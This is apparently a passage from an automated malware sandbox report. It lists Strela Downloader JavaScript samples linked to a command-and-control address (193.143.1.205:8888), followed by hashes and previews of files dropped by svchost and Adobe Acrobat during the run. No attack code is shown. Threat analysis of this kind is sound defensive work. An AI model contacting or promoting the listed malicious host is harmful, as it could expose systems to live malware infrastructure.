	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066981207280894
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqm:2JIB/wUKUKQncEmYRTwh06
MD5:	779BC4A27DA29F7C5D7E3636D7CEE42A
SHA1:	5DF419B31258946DCD105F7E22F97DD5C9CBE946
SHA-256:	C85A56E979B5131EA59177F8B2AF91C5E0A2E4BB7502CB99E90CAA7FC9A3E6CA
SHA-512:	45890CDD5E1854A483503DE9511121B3C81395DCB55F0F8C2619468F6F3C8FEEC37C3E3421864A3366DD8647F6FF0B9CE253CC0A05677A9C62D4B7DBC43F61FD
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd03f3b94, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899520323051553
Encrypted:	false
SSDEEP:	1536:5HlSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+D:7azaPvgurTd42UgSii
MD5:	2021DAC5380B89C244B637DB8474D489
SHA1:	F67A36514AFB5EF97E3AF1BC3E17542AA787C333
SHA-256:	C1A4F92F7B66D3EB577CA01864AE85F291F580F4D97D958C3BD41074FFC56B89
SHA-512:	2E6FD9B74491D0802B6F3A9B33714BF1C3EA059BE439E34EBA0BB1F5A3B707541E30D7AFAAF97BD2A85F2FF83B9DA6B457E78230C29F6441330746BFF586FBB4
Malicious:	false
Preview:	.?;.... ...............X\...;...{......................0.`.....42...{5.5....}W.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{......................................5....}o...................5....}W..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08053895818735624
Encrypted:	false
SSDEEP:	3:qyKYenwyLzvNt/57Dek3JMUg8//lAllEqW3l/TjzzQ/t:XKznwyLzvPR3tM8//lAmd8/
MD5:	E2D63FF1ED39BD3B8F01F90BE6679EED
SHA1:	461368F0A41147F3955D4F2E01A2B6F207E36CBD
SHA-256:	5948A4376813096BCF438D0DD6C5709DB3A5A73E54BC0F991279A9698F57FB4F
SHA-512:	0A966F80C789005838051C5D8535FC27106C61808FD0BC7DBCF06791E9DB8498DF4030B227EE30B3215142DD8FEF02CE088E7EC38B0B0D3189702D958528EE20
Malicious:	false
Preview:	~.......................................;...{..5....}W.42...{5.........42...{5.42...{5...Y.42...{59..................5....}W.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.211138556571864
Encrypted:	false
SSDEEP:	6:iO4NJcrjyq2PcNwi2nKuAl9OmbnIFUtSN2DE/1ZmwsN2DEpRkwOcNwi2nKuAl9Oe:7cSnyvLZHAahFUt+j/Q/R54ZHAaSJ
MD5:	FBEB2682846BAD0742741B1F06913362
SHA1:	C354A13804A3A9B70773A0CB16236D42DD218651
SHA-256:	E6C6E40B532848039007663C4DA03418521A822B0CDEEB40AE933B232757B03A
SHA-512:	5CBC9826A200AD22691BD57944C4AC523EBC99C956C7C2397215769D80D82313149BC87C641CC7D6028A0DC8125309C3E8D604A3371C425FE55255EF754F1984
Malicious:	false
Preview:	2025/01/10-17:23:51.919 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:23:51.921 1fa4 Recovering log #3.2025/01/10-17:23:51.921 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.211138556571864
Encrypted:	false
SSDEEP:	6:iO4NJcrjyq2PcNwi2nKuAl9OmbnIFUtSN2DE/1ZmwsN2DEpRkwOcNwi2nKuAl9Oe:7cSnyvLZHAahFUt+j/Q/R54ZHAaSJ
MD5:	FBEB2682846BAD0742741B1F06913362
SHA1:	C354A13804A3A9B70773A0CB16236D42DD218651
SHA-256:	E6C6E40B532848039007663C4DA03418521A822B0CDEEB40AE933B232757B03A
SHA-512:	5CBC9826A200AD22691BD57944C4AC523EBC99C956C7C2397215769D80D82313149BC87C641CC7D6028A0DC8125309C3E8D604A3371C425FE55255EF754F1984
Malicious:	false
Preview:	2025/01/10-17:23:51.919 1fa4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:23:51.921 1fa4 Recovering log #3.2025/01/10-17:23:51.921 1fa4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.203619653812812
Encrypted:	false
SSDEEP:	6:iO4ncJQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtS+ggZmwsJgQVkwOcNwi2nKuAl9OmT:7RJVvLZHAa8uFUtOg/wgI54ZHAa8RJ
MD5:	CF7DA0ED96CD0FFA7117D3E33EFF6A72
SHA1:	703A0648BFD55AC6EDB3CBD43CB703CBB2F10CE6
SHA-256:	0C6F4FF46F24D866C00EFEE6A5A0E6928E334CC00A0B7A854316851AA1A6C481
SHA-512:	DC38D5C2E8641983B0B30DBDE2616FAC2E34FBB427BF0A65258225B0B9B4B2F2657850590D2278700348E52C6DBB6ABFA35E21CB0FE24DA6374A6B0834A37936
Malicious:	false
Preview:	2025/01/10-17:23:52.039 1b28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:23:52.047 1b28 Recovering log #3.2025/01/10-17:23:52.048 1b28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.203619653812812
Encrypted:	false
SSDEEP:	6:iO4ncJQ+q2PcNwi2nKuAl9Ombzo2jMGIFUtS+ggZmwsJgQVkwOcNwi2nKuAl9OmT:7RJVvLZHAa8uFUtOg/wgI54ZHAa8RJ
MD5:	CF7DA0ED96CD0FFA7117D3E33EFF6A72
SHA1:	703A0648BFD55AC6EDB3CBD43CB703CBB2F10CE6
SHA-256:	0C6F4FF46F24D866C00EFEE6A5A0E6928E334CC00A0B7A854316851AA1A6C481
SHA-512:	DC38D5C2E8641983B0B30DBDE2616FAC2E34FBB427BF0A65258225B0B9B4B2F2657850590D2278700348E52C6DBB6ABFA35E21CB0FE24DA6374A6B0834A37936
Malicious:	false
Preview:	2025/01/10-17:23:52.039 1b28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:23:52.047 1b28 Recovering log #3.2025/01/10-17:23:52.048 1b28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35b79f41-dc2d-439b-b222-14192ca16677.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9666364305669495
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqG2sBdOg2HRcaq3QYiubSpDyP7E4TX:Y2sRdsBbdMHo3QYhbSpDa7n7
MD5:	E32124303238FF634DAE6F1FB19C2135
SHA1:	E3FE6B3634731CD7461D6011DA1DF43A5CB6479A
SHA-256:	CB98DDD9281BE83576857E53B37BAB46BA6A3A7AD5F6C2AA426B9D64BA8E4FA0
SHA-512:	A8E9C498A3E51A3B397D4ADB4AD7D68107906938E849CA5F7EF6E7B901D1E4E519153ACEC5EB1F29DDE43A53F490A0DE025C088DBAAE7E50E971833F43B3DF53
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107844102071","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145261},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9666364305669495
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqG2sBdOg2HRcaq3QYiubSpDyP7E4TX:Y2sRdsBbdMHo3QYhbSpDa7n7
MD5:	E32124303238FF634DAE6F1FB19C2135
SHA1:	E3FE6B3634731CD7461D6011DA1DF43A5CB6479A
SHA-256:	CB98DDD9281BE83576857E53B37BAB46BA6A3A7AD5F6C2AA426B9D64BA8E4FA0
SHA-512:	A8E9C498A3E51A3B397D4ADB4AD7D68107906938E849CA5F7EF6E7B901D1E4E519153ACEC5EB1F29DDE43A53F490A0DE025C088DBAAE7E50E971833F43B3DF53
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381107844102071","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":145261},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231138126902617
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP1EBbNa:CwNw1GHqPySfkcigoO3h28ytP1EBbw
MD5:	8DE17B4E34174CEDA27A2CFE750B825B
SHA1:	2277D0C2F0FB11D97D4BC445A3A83E2C7AF9389C
SHA-256:	058A8DBD99257E9CBCA9BDCF772626492BC7D219D674E34370E363401B3BB0ED
SHA-512:	A137EC27874BB8E674B84E86542C2E38CB92D952B705A13123E0AE74E79054DEDA5BC77093B727AB5F7E2BEF3A30D8D58725A91FEA16FDE49DBE47EDA195347F
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.222758519673034
Encrypted:	false
SSDEEP:	6:iO4QgQ+q2PcNwi2nKuAl9OmbzNMxIFUtSogZmws3gQVkwOcNwi2nKuAl9OmbzNMT:7VgVvLZHAa8jFUt/g/FI54ZHAa84J
MD5:	D23A922132A63F8B74F760B4611ACF26
SHA1:	992B37FF9B9481228E765132C2E57951E7551CF7
SHA-256:	39703086DCDA3FF9E793C75CCBF94C164EDF39AD2180B06B8DFF7665CEBED36A
SHA-512:	2E5F6C0C394A69806BF32F772FD833A8D56AA954046F46ACD3B82938FBEDD481B446342683A4C339355D72F34D30ADE46D12C19B61EE6087E24B60DA7356D675
Malicious:	false
Preview:	2025/01/10-17:23:52.386 1b28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:23:52.406 1b28 Recovering log #3.2025/01/10-17:23:52.428 1b28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.222758519673034
Encrypted:	false
SSDEEP:	6:iO4QgQ+q2PcNwi2nKuAl9OmbzNMxIFUtSogZmws3gQVkwOcNwi2nKuAl9OmbzNMT:7VgVvLZHAa8jFUt/g/FI54ZHAa84J
MD5:	D23A922132A63F8B74F760B4611ACF26
SHA1:	992B37FF9B9481228E765132C2E57951E7551CF7
SHA-256:	39703086DCDA3FF9E793C75CCBF94C164EDF39AD2180B06B8DFF7665CEBED36A
SHA-512:	2E5F6C0C394A69806BF32F772FD833A8D56AA954046F46ACD3B82938FBEDD481B446342683A4C339355D72F34D30ADE46D12C19B61EE6087E24B60DA7356D675
Malicious:	false
Preview:	2025/01/10-17:23:52.386 1b28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:23:52.406 1b28 Recovering log #3.2025/01/10-17:23:52.428 1b28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438835235687592
Encrypted:	false
SSDEEP:	384:Secci5GoiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:jEurVgazUpUTTGt
MD5:	695BD984C394E28A09135B8BBE9A7A23
SHA1:	18455CBD1D02EDAAEC9C03AA28B54A09C5B5CC07
SHA-256:	A2CBBB048048C48B38585D3E3607900D935936EBEEE8F656FBC4A896610C617C
SHA-512:	FF701E560E616E22B0FF17DDDA0BB94E69C5697578BD54BEB60513725C5AFCE291B2D51F7CE3DF11BCE06BCD1793DAD0887DBF63FD5779A2ACF40590E117D337
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.21586376924267
Encrypted:	false
SSDEEP:	24:7+tT2O6wKY7qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9C:7MCOWY7qvmFTIF3XmHjBoGGR+jMz+LhY
MD5:	06A87721BDF1CF4991307978BD365434
SHA1:	66B75C485918F61184DF9BCDD4CCCCF0BF3A9C96
SHA-256:	E17D61CF9D492CB510D83EC7C1A2A5A1542269B81D84A849C8017378AD57B345
SHA-512:	CA6773B92810A1D635BAEF5C99DE7B9E1EEADC73BBB4512DED318654291D211721B7E787E76D40545827F283969AAB73C61D06625EA284D6CB572EE172D9844A
Malicious:	false
Preview:	.... .c......bZ.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl/C7pttfllXlE/HT8kk6l1NNX8RolJuRdxLlGB9lQRYwpDdt:kK17pteT887NMa8RdWBwRd
MD5:	B4AA762FB7846C7C320812F9978CF86D
SHA1:	7D2ECB56CB001CB24277930305592BEEA5DF5438
SHA-256:	16B079192649C653BF968D766FEA590745CEB4D9B4C574165D7387E026E9E83C
SHA-512:	7D72310FFF576ED52CC753CBA51CC1C1D7B67910BCE841C122373F6A317F4FB0B74B86BA2F4F49361CAD5E58078261FB63D9880D80219EE1FA0449B48F3C215B
Malicious:	false
Preview:	p...... .........g.[.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kK9oauL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CauiDImsLNkPlE99SNxAhUe/3
MD5:	C19C3DD0948BD639C9294A5159D1FAD3
SHA1:	E6A671F357BA9C9D7F6A4182B7750231B4EE2682
SHA-256:	72F7ADE63F06FC5DFA9E9BAEC8D44E046F47F4C789F6D3CDDE0C3F6EE113F205
SHA-512:	25AF03EFD35EB023AEC96ADA0E3B671B8CD9872181FAFB754D34CBB51A5FFE7DCC0930F8FC65C884B768FC858B25F209DD63E10D47F1FD14B0AD71CEACEE1935
Malicious:	false
Preview:	p...... .........H...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7956

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
